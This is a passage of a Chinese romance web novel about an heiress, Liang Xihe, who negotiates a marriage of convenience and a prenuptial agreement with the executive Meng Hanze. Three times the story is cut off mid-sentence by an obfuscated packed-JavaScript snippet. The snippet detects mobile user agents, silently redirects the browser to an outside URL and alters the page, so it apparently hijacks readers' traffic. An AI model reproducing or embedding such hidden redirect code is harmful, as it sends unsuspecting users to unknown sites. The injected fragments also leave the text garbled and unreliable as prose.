梁茂林四两拨千斤地说:“造双子大厦的时候合作过,这位小孟总颇有他祖辈的风采。” “评价这么高啊……” 陈丽英也知道儿子跟人家没得比,油然而生一种危机感,食之无味地吃了一口榴莲酥后突然想到什么似的,又笑起来。 “他好像比威威和禾苗大六岁?可惜犯了六冲,不然你们两家联姻,肯定打遍天下无敌手。” 梁、奚夫妇二人:“……” . 梁奚禾用浅卡其色长靴配的连衣裙,托特里装了衣服就放不下替换的鞋子,为了配靴子,她带了驼色半高领羊绒打底衫,白色长裤和浅卡其色的皮衣。 她只是不喜奚云岚追崇的精致贵妇名媛风,但在穿搭上也不是没有审美。这一身会让她有一种温和的力量感,还能防风保暖。 换好衣服,她降下了隔板,示意杨叔可以开车,谁知低头将连衣裙叠好放进包里时,前排传来陌生的声音:“这位小姐,你上错车了。” 梁奚禾惊诧抬头,对上一张陌生的脸,吓了一跳。 “啊,不好意思。” 她反应过来,抓起包摁下了开门键。 刚下车站稳,一道高大挺拔的人影投下,将她笼罩其中,纤尘不染的手工皮鞋和垂直平整的深灰色西装裤闯入眼帘。 她抬眸缓缓打量,身着高定西装的男人长身鹤立,高出她许多,她得仰起头才能看清他的脸。硬朗的轮廓中,薄唇,笔挺的鼻梁,和一双沉静的眼眸。 和这样深邃的眸光相遇,梁奚禾被硬控在原地。 半晌失语。 好在握着的手机振动,让她及时醒过神来。 “这是你的车吗?抱歉啦,我搞错了。” 说完,她大方从容地颔首致意,接起电话往后面那辆幻影走去。 电话那头的夏初:“禾苗,我刚听说孟翰泽今天也在望江阁吃饭,要不要帮你打听包厢号?” 她觉得闺蜜亲眼见了那位端方持重的孟总后,会理智回笼。 “孟翰泽?” 梁奚禾只顾打电话,没留意到身后男人拉开车门的手一顿。 “我给他发了两次信息都没有回,应该是对联姻,或者对我没兴趣啦,我准备pass掉他,抓紧物色下一个吧……” 她讲话时拖长了尾调,有种撒娇的意味。 孟翰泽:“……” 娇软甜腻的声音随着车门的关闭戛然而止,梁家的幻影很快离开。 凌叔等了一会儿见孟翰泽还驻足在原地,便下车过来查看。 “孟总?” 顺着孟翰泽的视线看去,后排座位上有一串类似珍珠项链的东西,他忙道,“应该是刚刚那位小姐落下的,我马上拿去给餐厅经理……” “不用。” 孟翰泽俯身将链条拾起握在手中,坐进了车内,“开车吧。” 凌叔心有疑惑但从不多嘴,回去驾驶室。 幻影平稳地行驶在高架上。 一缕若有似无的白茶香气始终萦绕在车内,侵入鼻腔时感觉陌生,但嗅觉很快适应,又觉得好闻。 路灯的光线透过车窗照着中央扶手,盘亘在上面的一颗颗珍珠随之忽明忽暗。 车内安静,孟翰泽垂眸,修长的手指抚弄着腕表,若有所思。 良久,他忽然侧过头看了珍珠一眼,随后解锁了手机找到对话框。 【帮我草拟一份婚前协议。】 . 梁奚禾让司机把她送到夏家小区门口。 下了车,在微信上联系了人后,她去旁边的咖啡馆买热饮。 五分钟后,一个穿着带帽卫衣的男生小跑着推门进来,扫视一圈定位到她,扬起灿烂的笑容:“禾姐!” 是夏初的弟弟,夏末。 夏家父母起名图省力,女儿出生在立夏就叫夏初,两年后临近立秋时儿子出生,恰好就能叫夏末。不过姐弟俩也就只有这点默契,其他毫无相像之处,尤其一个爱拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829917|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个爱玩。 梁奚禾拎着纸袋朝他走去,寒暄的话在加上微信时已经说过了,这会儿见了面,她直截了当:“走吧。” 出了咖啡店,夏末左顾右盼:“禾姐,你的超跑呢?” “被收缴了。” “……那我们怎么去?” 梁奚禾:“你没车?” 夏末:“我有啊。这不正要带你去看?”说完他露出审视的目光,“禾姐,你真不是我姐派来钓鱼执法的吧?” “……” 梁奚禾静默一瞬,掏出手机给他发了个红包,“我不做这么没品的事。你打车。” “好嘞。” 夏末收了红包,点开打车软件时不忘拍马屁,“我姐什么时候能像禾姐你这么大方就好了。” 梁奚禾神色淡然:“哪天我自己挣钱了,就大方不了了。” 钱不是自己挣的,才不知道心疼。 夏末有被内涵到:“……禾姐,你就别点我了。” 叫到了车,夏末收起手机,梁奚禾从纸袋里取出一杯热饮给他:“咱们半斤八两,我有什么资格点你。” 夏末接过杯子,挑剔:“怎么是热的啊?” “我胃不好,喝不了冰的。” 梁奚禾说完就不再管他,一副爱喝不喝不喝拉倒的样子。 夏末自觉住嘴。这姐果然是他亲姐的闺蜜,一样不好说话。 网约车把两人送到了二环外一条小支路,茂密的行道树遮挡了路灯光线,沿街商铺都打烊了,整条街昏暗又寂静,只有外卖小哥偶尔飞驰而过。 这一片区都是城中村,要是就她自己,梁奚禾是绝对不敢在晚上来的。 夏末熟门熟路地走向一间门面房,遥控一摁,卷闸门向上升起,升至半人高时,他没了耐心,弯腰钻进了店内开了灯。 梁奚禾仰头看着店招上的大字:夸父重机俱乐部。 字体还特意设计了那种热血动漫的感觉,让她瞬间想起了那些动不动就把“叫爸爸”挂在嘴边的中二男同学。 “禾姐,进来吧,我们的车都在里面。” 外面这两间凌乱地堆着零配件和工具,梁奚禾小心地寻着空档往里走,路过一间像办公室的屋子,她多看了两眼,夏末挺起胸膛:“我们是正规俱乐部,你看,有专门请修车师傅坐堂的。” 梁奚禾很给面子地点点头。 过了一道门来到后院,夏末将灯全部打开,停着几辆重型机车的两个大开间豁然出现在眼前。 夏末小跑到一辆荧光色的夸张异形风格机车前,献宝似的:“这是我的。” 梁奚禾扫视过去,却被另一辆全黑的哈雷惊艳到,忍不住走近欣赏。 夏末讪讪地蹭过来:“禾姐,你的车什么时候到?” “后天。” “那正好,后天周末我朋友回来,他比我懂,让他帮你看看。” “嗯。” 梁奚禾跨坐到哈雷上感受了一下,她1米69的身高,双脚落不到地。 见她对这部哈雷感兴趣,夏末又卖弄上了:“这就是我那朋友的车,他自己改装过的,会玩吧?” 梁奚禾理直气壮地说:“不知道,我又不懂车。” 夏末:“……” 他还要再说什么,她已经下了车在看手机。 【梁小姐你好,后天见面如何?请带上律师,我希望当场敲定婚前协议。】 5. 第 5 章 夏末看着她露出像慕斯蛋糕般甜得绵密轻盈的笑意,哟了一声,坐到机车上吊儿郎当地八卦:“男朋友?” 梁奚禾爽快地回复了孟翰泽:【OK,时间地点你定,我尽量不迟到。】 等了片刻对方没再回,但她收起手机时仍是心头一松。 联姻计划终于八字有了一撇,这段时间悬在头顶的达摩克利斯之剑即将被她握进手中,有了武器,她在这场自由之战里才有了胜算。不过夜长梦多,不写完这个八字,她暂时不会对外界松口。 对着夏末只说:“不是。” 不过因为心情好,在别的事情上她格外好说话,“你们俱乐部一年会费多少?我交给谁?” 夏末精神大振。 这家俱乐部就是他跟朋友自娱自乐的,不参加比赛自然没有奖金和其他商业收入,加上两人还在上大学,都是瞒着家里用零花钱玩车,就一直玩得穷嗖嗖的。 今天财神爷来了,夏末狗腿地笑着:“跟禾姐还讲什么会费,您看着给就是了!” 梁奚禾不懂行情,她的杜卡迪是在英国经人介绍买的,落地差不多折合人民币近40万。偶然听说夏初的弟弟玩车,她就决定回国以后自己只管开车玩,把保养和修理全权交给他,唯一的要求是更换的零配件必须是原厂件。 梁奚禾粗略估算了一下:“那我先给你转50万,算储值卡吧,用完了你就跟我说。” 夏末装模作样地打千作揖:“喳,谢主隆恩。”又殷勤地跑去拿了两个头盔,“禾姐,我送你回家。” “打车吧。” 她没接,不想戴别人的头盔。 . 今晚诸事顺利,回到双子大厦才21点。 梁奚禾泡澡出来,穿着她那件黑金巴洛克长浴袍去客房找雷迪,在门上轻叩两声,等了一会儿没动静,又敲了两下,雷迪才来开门。 放下盘发,脱下职业套装换上白色毛衣的雷迪,多了几分温婉。 “在干什么?我没有打扰你做开心的事吧?” 梁奚禾笑眯眯地打量她,葡萄眼中满是戏谑,雷迪无语地嗔她一眼,将门敞开让她进去。 房间里没开灯,只有窗边的书桌边亮着一盏台灯,桌面上摊开着几本书。 “你又在自学?” “嗯,刚刚戴了耳机,所以没听到你敲门。” 雷迪家境清寒,本科毕业后没有条件继续深造,但陪读的这几年从来没放弃过专业学习。 梁奚禾佩服也尊重她的私人时间,问道:“你不是说连廊那里有私人酒吧吗?我打算过去喝一杯,你是继续看书,还是跟我一起?” 两人倒时差,这会儿都还不困,正好雷迪也学累了:“一起。不过你最好换件衣服。” 梁奚禾低头看一眼:“在家谁还不能浮夸一点呢?” 雷迪提醒:“连廊是跟西楼公用的。” 想到地库那几辆陌生轿车都是沉稳的黑色,邻居是男性的可能性很大,梁奚禾顿感不便。 回房换装后,她哼着歌,脚步轻快地跟着雷迪走。Gucci这款粉色的圆领长袖卫衣,胸前有小熊印花,衬得她像一颗即将成熟的莓果,青涩娇憨中又透着甜。 刷指纹过了两道门禁,她们到达今晚的目的地。虽然被称之为连廊,实际这是一处低调奢华的私人会所,因为不对外开放,里面空荡荡的。 服务生接到消息已经等在连廊入口,接到她们后便安静地领路,朝纵深处的酒吧走去。 因为是私人场合,室内设计就没有做太多实体隔断,而是运用中式园林移步易景的方法,一处打造了一个主题。 从东向西,先是中式餐厅,布置着黄花梨木云石圆桌和十把官帽椅,硬木椅子谈不上舒适,梁奚禾不感兴趣,脚步未停。 多宝格上精美的瓷器和摆件错落有致,绕过去后是一排比她人还要高的绿植,将一张西式宴会长条桌围在中间。今晚没有宴客,但餐桌花艺仍然考究,怒放的胡姬兰让水晶杯折射出紫色的光线,雅致神秘。 不同主题的空间里,背景音乐也不一样。当她们走到连廊正中间时,播放的是欧根·杜加的《降e小调圆舞曲》,烘托出极致浪漫的氛围,梁奚禾几乎立刻喜欢上了这个位于四百多米高空的圆形舞池。 可惜她没有可以共舞一曲的对象。 继续西行,服务生介绍接下来会经过一处温室花园,尽头就是酒吧和茶室。 花园中温控明显比其他几处稍高一些,种植的多是蔓绿绒、苦苣苔和鸟巢蕨之类的热带植物。植物掩映的长廊中有一处卡座,允许人停留在此,享用一杯咖啡。 快到酒吧,想起梁奚禾脆弱的胃不能喝酒,雷迪向服务生确认:“有无醇饮料吧?” 服务员点头,梁奚禾马上抗议:“其实偶尔小酌几口,无伤大雅啦。” 雷迪无情地揭她伤疤:“想想你那时候胃疼还要被扎针,惨不惨?” “……” 就在梁奚禾因为失去了微醺俯瞰城市霓虹的情调而失落时,她们止步在酒吧的入口处,被酒吧里正趴在吧台上哭泣的女生,打乱了今晚的放松计划。 那人应该是西楼的住户。 连廊是东西楼公用的,她们此时进去也不算冒昧打扰。但这里是静吧,轻缓的音乐没办法把啜泣声完全掩盖。听着哭声,什么饮料都不会好喝。雷迪看向梁奚禾,用眼神询问她的意见。 换做以前,梁奚禾碰到这种情境肯定是马上掉头就走。她并不是热心的人,更习惯对别人的私生活保持距离。 可今晚不知为什么,她竟起了恻隐之心,莫名觉得自己应该上前问问那个女生是不是需要帮助。 无声踌躇时,她们正对面,酒吧联通西楼的入口处,走来一个男人。 或许是因为服饰鲜艳,梁奚禾成了这昏暗环境中一抹无法忽视的亮色,他进来后视线笔直地落到这边,与她的目光精准地交接在一处。 这双深邃的眼眸,梁奚禾几个小时前在望江阁已经见过一次。 她还错上了他的车。 原来大家是邻居。 大概对方也认出了她,视线在她身上停留,眼神沉静不算凌厉,但无形中有不怒自威的气势。 梁奚禾无惧,大大方方地回以打量,换上黑色圆领羊绒衫的他,整个人看着比几个钟头前柔和了一些。 当然也有可能是因为有别的人在的缘故。 吧台边一声呜咽,他马上收回了视线,朝那边走去,显然是来找那个女生的。 梁奚禾垂眸,转头挽上雷迪离开。她没有兴趣旁观别人处理私事,给他们留足空间。 唯一遗憾就是没小酌成。 她叹了一口气:“wuli梁董还是不够努力,要是西楼也是我的就好了。” 雷迪:“……” · 为了婚前协议能一次性谈妥,梁奚禾让夏初务必在一天内帮她找一个律师。 这次联姻她是先斩后奏,跟私奔差不多,木已成舟之前绝对不能让父母知道,也就不能动用梁氏的法务。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829918|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏初震惊:“孟总同意了?” 梁奚禾:“同意见面,至于其他,应该就看协议能不能谈妥。” 夏初:“……” 这比棘手的工作更让人头疼,她并不想在高风险还看不到收益的事情上助纣为虐。 可她不想管,又不可能真的不管。她相信就算没有律师,梁奚禾也绝对有胆子签下婚前协议。她不能让这冲动的家伙盲签协议把自己和梁氏一块儿拱手送人了。 考虑再三,夏初联系了法学院的学长。 竟然接到怎么都约不出来的大忙人的电话,虞高旻将文档保存,清了清嗓子接起。 “夏初?” 两人好久不见,但他时不时会在微信上联系她,因此不算生疏,夏初没有寒暄,开门见山:“虞师兄,你们律所有没有擅长打离婚官司的律师?” “怎么要找离婚律师?” “不是离婚,是想请人把关婚前协议。” 虞高旻一顿:“谁要结婚?” “我一个朋友。” “不是无中生友吧?”他捏着手机的手指微微用力,状似玩笑地发问。 “当然不是。是我闺蜜。” 夏初不知道为什么一向雷厉风行的男人磨磨叽叽地问这问那,她没有太多时间陪他闲聊,快言快语:“如果你这边没有合适的人选推荐,我再去其他律所问问。” 虞高旻面前的笔电屏幕上就是他刚刚帮朋友草拟好的婚前协议,他嫌家事纠纷无聊所以不怎么代理离婚官司,但也是专业的。 “等等。”他下意识地直起身子,毛遂自荐,“你看我行不行?” 夏初皱眉:“……虞师兄,隔行如隔山,我怎么知道你行不行?” 虞高旻清咳一声:“我办事,你放心,把委托人的联系方式发给我吧。” “好。” 夏初觉得此时的梁奚禾像只快断线的风筝,即将失控,到底不放心她单独行动,直接拉了个三人群。 很快,群里,Thea:【虞律师你好,明天请陪我和对方沟通婚前协议。我跟你的委托合同明天见面一并签署,律师费需要预付的话我现在就可以转过去。】 这么着急? 虞高旻提醒她:【双方见面之前,我需要清楚知道您的诉求,不知道您怎么称呼?】 Thea:【梁奚禾。我的诉求很简单,条款我跟对方谈,您帮我把控法律风险。】 虞高旻:“……” 这种自以为是的客户最难弄,可她是夏初的闺蜜,他只能包容,明天先看看情况再说。 但看到她下一条发的时间和地点,他一口咖啡差点喷出来,捏着眉心联系好友。 “我不能当你的代理律师了。” 电话那边问临时变卦的原因。 虞高旻轻笑:“受人所托,忠人之事。我现在是孟总未来的太太的代理律师。” “……” 被放鸽子的孟翰泽站在办公室的落地窗前,从容不迫,“你是我朋友,不用回避?” 虞高旻:“法律是我的信仰,你质疑我不专业?” 孟翰泽望向园区的东方,那里有一块空地,顺利的话,不久的将来就会有新的厂区建成,从硬件到软件、概念到产品都是全新的。 而他,正在为这张蓝图早日落地付出所有心力,包括婚姻。 “联姻于我是在商言商,希望公平交易。”他说,“她的想法未必成熟。你既然接受了她的委托,就务必帮她考虑周到。” 6. 第 6 章 宁市一面临海,三面环山,辖域内台风山洪多发,古时百姓为祈求风调雨顺,素来有谢天酬神的习俗。几百年来,历朝历代在山上建起了无数寺庙道观,至今保存最完整最富盛名的莫过于雪霁山上的云开寺了。 雪霁山海拔高度292米,西麓连接着大陆,东麓则惊涛拍岸,是以在宁市当地享有“海上仙山”的美名。 坐拥香火鼎盛的云开寺,加上得天独厚的自然风光,二十年前雪霁山唯一一块住宅性质的地块拍卖时,吸引了全国各地的房地产商前来竞投。最后,姚德平凭着敏锐的判断力和过人的胆识魄力,高价拍得。 彼时孟氏刚刚宣布进军地产界,各界都在关注这家不锈钢龙头企业会在这个地块作什么样的尝试。 姚德平是天生做生意的料,对市场的直觉超前。当初所有人都劝他在此建造高档奢华的别墅,他没听,坚持己见打造一片中式农耕院墅,并且只租不售。 于是就有了半山半海的“归田园居”御景湾。 雪霁山平时一到周末便游人交织,这几天云开寺有水陆法会,山路上更是香客信众扎堆。黑色的幻影只能缓慢盘旋上山,有时还要停下让一让。 母亲在山上隐居十五年,姚以涵已经习惯了这种盛况,托着下巴看着窗外,偶见一家四口说笑着步行,微微失神。 二十分钟后,幻影驶入御景湾大门。 久负盛名的御景湾内都是占地百来平的一层最多两层的独栋院落,黛瓦白墙,乍一看跟传统民居没有太大差别。但这里安保跟物业都是顶级的,购物、消遣以及高端医疗设施齐备。 上了年纪的有钱人既有回归农乡生活的理想,又需要绝佳的疗养之地,导致御景湾多年来一房难求,租金指数型增长,姚德平因此挣得盆满钵满。 幻影沿着宽阔的柏油路行驶,穿过一道道乌桕树冠搭起的彩虹拱门,最后停在一栋平房前。 姚以涵迫不及待地下车,抱着两盒从港城带回来的糕饼跑进院子。 “章姨,我妈妈呢?” “涵涵回来啦?”章姨眼角绽出鱼尾纹,笑着接过她手里的点心盒,“太太刚回房,到午睡时间了。” “哦哦。” 姚以涵有些失落,还是懂事地压低了声音,折身返回院子在廊下晒太阳,安静地等着。 章姨端来茶水。她抿了一口,尝出乌梅和山楂的味道,抬头问道:“我妈妈最近胃口又不好吗?” “没有。”章姨还未回答,屋内传出一道温和的女声,“我就是今天想喝点有味道的茶水,不要担心。” 姚以涵欣喜万分,立刻奔过去挽住她的胳膊:“妈妈,我还以为您睡了呢。” 孟淑慧五十多岁,鬓角已有白发,没有特意染黑,眼下唇角也添了不少纹路,但从秀气的五官和温醇的气质中可知,岁月从不败美人。 她仔细打量一个多月未见的女儿,没见瘦就放下心来。 “你哥哥呢?” “他好像有个什么检查。” “下车间检查?” “可能是吧。” 母女俩说着话坐到廊下的秋千上,依偎在一起。 “抱歉啊涵涵,昨天没能陪你过生日。” 姚以涵鼻子一酸,怕孟淑慧察觉慌忙靠到她肩膀上。昨晚已经买醉放纵了一场,哭过发泄过,不想再惹妈妈伤心。 她暗自吸了一口气,声音依然闷闷的:“只是一个小生日,还是水陆法会比较重要。” 孟淑慧选择在御景湾生活,就是因为这里与云开寺比邻而居。她诵经礼佛多年,对庙里的佛事一向庄重对待,遇到水陆法会这样的盛事,必定焚香设斋,一切都按持戒之人的标准要求自己。 仿佛只有如此,才能超度亡灵,她才能得片刻的安宁。 今年的水陆法会正好撞上女儿的生日,她有纠结过,还是作了取舍。 姚以涵似懂非懂,只能尽量理解。 孟淑慧摸摸她的发顶,柔声问:“昨天哥哥有帮我转交礼物吗?” “有啊。”姚以涵直起身子,将平安扣从半高领毛衣中揪出,“谢谢妈妈,我很喜欢。” 孟淑慧又笑着问:“哥哥送了什么?” “他说我的电脑还是大一的时候买的,该换了,送了我一台笔记本。” 孟淑慧听了摇头,嗔道:“他是实用主义者,原谅他吧。” 姚以涵也笑起来:“以后有了嫂子,他会变得浪漫的。” 章姨将她带来的糕点拆封,放到小几上给她们当下午茶,听到这话后说:“姑太太送来好些姑娘的照片,不知道翰泽会不会从里头给涵涵挑个嫂子。” 姚以涵担心地看向孟淑慧:“姑姑又来了?” “嗯,说要帮你哥哥安排相亲。”孟淑慧淡淡地说。 没找妈妈的麻烦就好,姚以涵放下心:“照片在哪儿?我能先看看吗?” 章姨进屋拿了一个牛皮纸档案袋出来,里头是一份份简历,每份上还用回形针别了照片。有些是证件照,有些则是生活照。 姚以涵看了几张,忍不住皱眉:“姑姑能不能选一些真好看的,这些PS痕迹这么重,都是照骗。” 她哥哥挺拔清俊,哪里是这些人配得上的? 孟淑慧点她:“不要随意评价他人多造口业,慎言。” 姚以涵抿唇,把简历都塞回了档案袋,递还给章姨:“那就让哥哥自己看吧。” “不用。” 孟淑慧的眸光落到院子里那棵八重红枝垂樱上,时节不对,再名贵的树也开不出好看的花,“他的婚姻由他自己做主,我们不要插手。” 章姨捧着纸袋:“那这……” 里面都是人家的照片,不好贸然丢弃或者焚烧,又不能还给姑太太去。 “找个地方放起来。”孟淑慧垂眸,“德容问起来,就跟她说没合适的。” 姚德容一向难缠,要是知道她们没转交档案袋,怕是有的闹腾。章姨在屋子里琢磨了半晌,塞到了五斗柜最底下的抽屉里,又找了两个空饼干盒压上。 姚以涵自始至终没敢提姚德平,就是因为每次提起姚家人,孟淑慧的心情就会差上几分,就像现在这样,眼底为数不多的笑意已经被通通收了回去。 她捏起一块蝴蝶酥递过去,转移话题:“您尝尝,我在一家老字号买的。” 等孟淑慧很给面子地吃了好几口,她又小心翼翼地开口,“妈妈,您什么时候到港城去看我吧。”看她是其次,主要是走出这座山,去散散心。 孟淑慧一顿,只道:“有机会吧。”又说道,“你再晒会儿太阳,或者回自己房子里睡会儿。”她到点要去做书法日课。 姚以涵跟着起身,笑笑:“我帮您研墨。”眸光却暗淡。 每一句“有机会吧”,最后都是遥遥无期。 · 周日天气特别好,没有人能拒绝这样的秋冬暖阳,许多人拖家带口地出门赏秋。正午时分,内环高架发生交通事故造成了严重拥堵,排队的车辆一直延绵几百米。 汪洋尾灯中,一辆正红色的杜卡迪犹如刚刚出笼的猛兽,势不可挡地从汽车间隙中呼啸而过。 匍匐在它上面的驯兽师身影纤细窈窕,露在头盔后的发丝随着被带起的劲风飞扬。她轻易地操控着这头野兽,加速疾驰,向匝道俯冲,又减速转向,卷起满地的银杏落叶后咆哮着远去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829919|158916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天约好见面,恰巧杜卡迪也空运到境。梁奚禾要去接车,孟翰泽选的见面地点在宁市西边,她如果从最东边的机场赶过去完全来不及。 为了迁就她,他将地点改到东城区一处叫“茶礼”的高级茶室。但没料到提车的手续远比想象中复杂,结束后尽管她一路飞驰紧赶慢赶,还是迟到了许久。 “茶礼”内处处透着宋式美学,简约雅致。今天被包场,没有其他客人。香气袅袅中,卷帘后的琴师信手拨弹,清音绕梁。 等得实在有点久,百无聊赖的虞高旻歪在窗边的罗汉榻上看茶艺表演。跟他一比,旁边坐着的孟氏集团的法务,显得十分拘谨。 又过了会儿,法务压低了声音开口:“虞律,孟太……” 意识到这声“孟太太”不够严谨,他又改口,“你的委托人大概什么时候到?” 律师的时间就是金钱,已经超过约定时间43分钟还不见人影,两人都有想法。 偏偏最讲时间观念的人不发话。 虞高旻下巴朝阖着的包厢门一扬:“等你们孟总打完电话,你问问他。” 法务哪敢,俯身端茶不语。 忽然,古筝雅韵被由远及近的机车声搅扰,破了一室静谧。 两人应声往窗外看去。 红色的杜卡迪一个急刹,猛兽的怒吼声戛然而止。深黑的机车靴踢开了脚撑,车手利落地翻身下车,迈着大步往里走。 她边走边掀起了头盔,乌发随着摆头的动作散落到肩头,露出一张小巧精致的脸。樱唇琼鼻,无辜的葡萄眼,纯情得与黑色紧身皮衣有着强烈的视觉反差。 虞高旻挑眉,有些意外,转念一想这是谁的好朋友,又觉得情理之中。 梁奚禾推开玻璃门,逡巡一圈看到窗边的两个男人。 她走过去:“不好意思让你们久等了,哪位是孟总?” 虞高旻起身站直,拉挺西装下摆,想跟她握手:“梁小姐你好,我是你的代理律师虞高旻。” “你好。”梁奚禾点头致意后,看向另一个男人。 不在父母的眼皮底下她懒得装,口头眼神都打过招呼了,不是非得再肢体接触,就算被人诟病没有礼貌她也不想跟人握手,谁知道某些人手上会不会有难闻的烟味。 法务在她的目光中尽量淡定地自我介绍,顺便解释:“孟总在里面接电话。” 原来都不是孟翰泽。 顺着他的视线,她回头。身后的包厢门也在此时从里面打开。 身着灰色西装,黑色衬衫的男人走出,看清他的脸,梁奚禾顿感惊诧。 “是你?” 孟翰泽面色过于平静,看不出对她的迟到是不是不满,也像是两人之前打过的几次照面,在他这里完全没有留下印象。 “你好,我是孟翰泽。” 他淡声介绍自己,向她伸出右手。他的手干净修长,指节分明,有着好看的弧度,手背脉络微微凸显,似是蛰伏着蓬勃的力量。袖口露出半寸衬衫。 一切都恰到好处。手、着装,乃至他整个人,都像按照黄金比例打造的雕塑作品。但梁奚禾对这种完美的表象全然的不信任。 也没有跟他握手,她对两位律师说道:“我想跟孟总单独聊聊。” 说完朝孟翰泽做了个“请”的手势,与他擦肩而过,她走进他身后的包厢。 听到关门声,梁奚禾猛地回过身,没想到他腿长步子大已经走到身后,她差点一头撞进他怀中。 她蹙着眉后撤两步,仰头看他,跟他把话讲清楚。 “我以为孟总是单身才会提议联姻。你既然有女朋友,就不该答应见面。今天这件事我就当没发生过。” 7. 第 7 章 梁奚禾很生气。 她虽然任性妄为,但有一个坚定的绝对不能动摇的原则:联姻双方必须是未婚并且单身。 然而,眼前的男人听了她的话,只是眉头微微向上一挑,不见被戳穿后的恼羞成怒,甚至于连眼神都没有一点波动,毫不心虚的样子。 这些公子哥就是这样,总想爱情是爱情,婚姻是婚姻,把所有好处都占尽。 太卑劣了,越想越生气,梁奚禾胸腔里涌出一股义愤填膺。 “你不要告诉我,昨天那个女生喝酒痛哭,是因为你已经提了分手。孟总,虽然我对婚姻持开放态度,但我不会破坏别人的感情,更不可能知三当三。” 孟翰泽:“……” 终于听懂误会从何而来,他看着她像一只刺豚一样,气鼓鼓地炸出满身刺,就连葡萄眼中都恨不得射出硬刺来抨击他。 有些啼笑皆非。 眼底浮起一丝不易察觉的笑意,他开口说道:“梁小姐,昨晚你见到的是我妹妹。” 顿了顿,强调,“亲妹妹。” 梁奚禾一时没反应过来。 快爆炸的刺豚突然受到安抚,顿时泄了气,战斗力直线下降,愣愣的有点呆萌。 孟翰泽看她一眼,提步往沙发走。 梁奚禾留在原地无语。早知道就该把他的简历好好看看,或者让夏初再找人对他的家庭摸摸底。 不过,就算搞错了情况,刚刚她占领着道德高地,义正辞严的形象也绝对是伟光正的,算不上出丑。 梁奚禾撩了撩头发,将头盔放到茶几上,在他对面落座,乌龙就此揭过不提。 孟翰泽没有按铃叫服务生,亲自泡茶。他得空经常陪孟淑慧喝茶,为此特意学过。茶道繁复,平时他更习惯喝咖啡。 但今天特殊,理应三茶六礼。 茶叶是他带来的顶级红茶金骏眉。 他神情专注,慢条斯理地温杯、投茶、冲茶,略去了冷嗅的步骤。 梁奚禾则一直安静地盯着他的手看,匀称,修长,动作起来赏心悦目。 三个呼吸的时间后,他的手掌抚上盖碗,将茶汤倒入公道杯。茶汤金黄澄澈,在阳光下透过玻璃容器,梁奚禾看到了翻飞的茶毫,有点漂亮。 孟翰泽很快将茶汤分入洁白如玉的品茗杯中,倒得八分满,递到她面前。 一向对过分讲究仪式感嗤之以鼻的梁奚禾,今天莫名地有耐心,她端杯轻嗅,闻到了一股花蜜香,随后启唇轻抿,舌尖尝到蜜甜而喉间回甘。 孟翰泽放下茶杯。 要言归正传了,梁奚禾坐直了身子,不想在他高大的身影前落了下风。 她率先开口:“孟总为什么会答应我见面?”想知道他联姻的目的。 孟翰泽双手交握,手肘搁在膝盖上,上身前倾的姿势似乎无形中拉近了两人的距离。 梁奚禾与他对视,手中无意识地转动着茶杯,时不时抿一口。 在她审视的目光中,他平静而坦荡地开口:“令尊与我正在寻求合作,具体暂时不便透露。但我需要耐心资本。” 意思就是他需要用这一纸婚约来确保梁氏能够与孟氏长久合作。 梁氏要与孟氏合作?这对梁奚禾来说简直是意外之喜。 她不想接班,所以平时梁茂林一提到公司的事,她能避则避,不能避的也是左耳进右耳出,并不放在心上。她只知道梁孟两家面上从来没有不和,并不确定梁茂林对孟氏的真正态度。 她给他发信息完全是出于某种直觉,觉得孟氏本身就是不锈钢行业中的佼佼者,孟翰泽这样出色的总裁对梁氏来说自然也是很好的选择。草率肯定是草率的。 但如果梁茂林也觉得他可以合作,那证明她的盲盒开得还不错,也说明她即将要走向自由的康庄大道了。 孟翰泽看着刺豚彻底敛起了一身尖刺,变得软绵绵的,一双葡萄眼中还闪过狡黠。 他问:“那么你呢?” 梁奚禾也放下杯子,直言相告:“未来如果我继承梁氏的股权,我需要一位专业人士替我打理。我爸爸只信任自家人,所以虽然我只是想你成为我的职业经理人,但是必须得用我丈夫的身份。不过你放心,到时我每年的分红会平分给你。” 突遭未来Boss直聘的孟翰泽:“……” 梁奚禾又补充,“至于其他一切婚前财产、婚后收入,我们互不干涉,待会儿都可以在协议里约定清楚。” 梁氏大股东的分红不是小数目,如果他对平分不满意,她也留了余地,还可以再谈一谈。 孟翰泽不用考虑:“不必,我对分红不感兴趣……” 以为他要拒绝代管梁氏,梁奚禾打断他:“未来如果梁氏和孟氏成为一致行动人,孟总的收益又怎么会只是这点分红呢?” 到底是刚出校园的雏鸟,她只想着尽可能地“利诱”,却忘了谈判中操之过急的一方往往会失去优势。主动权已经牢牢地握在了孟翰泽的手里。 所幸他无意为难,更无心在这场婚姻里损人利己。 